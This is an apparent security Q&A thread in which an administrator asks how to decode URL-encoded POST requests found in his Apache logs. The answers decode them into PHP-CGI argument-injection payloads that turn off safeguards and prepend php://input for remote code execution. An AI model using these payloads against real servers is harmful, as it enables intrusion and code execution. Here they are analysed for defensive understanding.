How to decode this exploit scanner?

Question

My server is obviously up to date and not vulnerable to shellshock exploits.

However, I am still curious and would like to understand how to decode the following malicious vulnerability scan. I have a long series of these in my logs, testing various cgi script names:

root@ks304960 01:41:29 /var/log/apache2 # cat access.log | grep -v "internal dummy connection" | grep cgi
162.247.73.74 - - [26/Sep/2014:04:02:58 +0000] "POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1" 404 452 "-" "-"
104.194.6.175 - - [26/Sep/2014:18:23:29 +0000] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 467 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
104.194.6.175 - - [26/Sep/2014:18:24:13 +0000] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 404 470 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

How to decode the string in the POST? Beside scanning for shellshock-vulnerability, what is it trying to achieve?

More examples of exploit scan here: How does this shellshock scan work?

score 8 · Answer 1 · answered Sep 27 '14 at 02:26

8

It's not scanning for the "shellshock" exploit. It's scanning for an older exploit where a poorly-configured server leaves a copy of the PHP interpreter in the CGI directory, permitting remote execution of arbitrary code.

answered Sep 27 '14 at 02:26

Mark

34,390
9
85
134

1

Do you have the CVE or another link? – user10008 Sep 27 '14 at 02:41
See http://security.stackexchange.com/questions/44987/server-attack-attempts-what-are-they-trying-to-achieve – Mark Sep 27 '14 at 08:32
Remember looking at an early ecommerce software package written for webservers that didn't have php installed. Kind of gave me the willies at the time that it would install php where it could be publicly accessible. Violates security on so many levels. – Fiasco Labs Sep 27 '14 at 15:46

score 5 · Accepted Answer · answered Sep 27 '14 at 02:27

The values are just URL encoded, you can decode the query string using this: http://meyerweb.com/eric/tools/dencoder/

The first one:

In this case the actual path is encoded.

%63%67%69%6E/%70%68%70 -> cgin/php

The actual query string decodes to:

-d aluon -d mod -d suhon=on -d uncts="" -d dne -d auto_prt -d cgi.force_redirect=0 -d t_=0 -d ut -n

The only caveat is that it appears there's an extra % in 72%%74 which has to be removed to decode it properly. Not sure if this was just a mistake.

Second / Third

The query string decodes to:

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

In both cases you can see they're obviously trying to inject shell code into arguments for the PHP interpreter.

score 1 · Answer 3 · answered Jul 27 '16 at 00:13

You can decode this by using the following shell command:

echo "%2D%64+%61%6C%6C" | sed "s@+@ @g;s@%@\\\\x@g" | xargs -0 printf "%b"

This is basically URL-encodes string which is used in a query part of a URL. Each part with a percent (%) sign followed by two hex digits and spaces encoded as plus (+) signs.

How to decode this exploit scanner?

3 Answers3